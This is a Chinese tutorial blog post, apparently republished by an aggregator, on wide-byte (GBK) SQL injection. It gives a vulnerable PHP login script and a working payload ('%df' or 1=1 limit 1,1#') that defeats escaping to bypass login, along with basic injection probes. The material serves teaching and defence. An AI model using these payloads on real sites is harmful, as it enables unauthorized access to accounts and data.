SQL注入之宽字节注入

Posted 迷途小書童

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入之宽字节注入相关的知识,希望对你有一定的参考价值。

简介

宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的URL后面 追回SQL语句进行注入。比如:http://www.hackest.cn/article.php?id=1and 1=1/*

http://www.hackest.cn/article.php?id=1and 1=2/*,这个经典的判断目标是否存在注入的例子就是单字节注入。

理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞。事实上,这种变换在XSS等领域也发挥了巨大的作用,在PHP+Linux后台程序结合的时候,还可能造成命 令注入,也就是说能可以在注入点直接执行Linux系统命令。比如登录文件login.php的代码如下:

<?php $conn=mysql_connect("localhost","root","hackest"); mysql_query("SET NAMES ‘GBK‘"); mysql_select_db("test",$conn); $user=mysql_escape_string($_GET[‘user‘]); $pass=mysql_escape_string($_GET[‘pass‘]); $sql="select * from cms_user where username=‘$user‘ and password=‘$pass‘"; $result=mysql_query($sql,$conn); while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[]=$row; } ?> 

则可以通过构造以下语句进行注入:

http://www.hackest.cn/login.php?user=%df‘%20or%201=1%20limit%201,1%23&pass=

%20是空格的URL编码,%23是#的URL编码,Mysql注释符之一。对应的SQL语句是:

select * fromcms_user where username=‘運‘or 1=1 limit 1,1#‘ and password="

以下为URL编码:

%27---------单引号

%20----------空格

%23-----------#号

%5c------------/反斜杠

 

以上是关于SQL注入之宽字节注入的主要内容,如果未能解决你的问题,请参考以下文章

CTF—WEB—sql注入之宽字节注入

那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入

SQL注入笔记宽字节注入

掌控安全学院SQL注入靶场宽字节注入

Sql 注入详解:宽字节注入+二次注入

SQL注入 | 宽字节注入2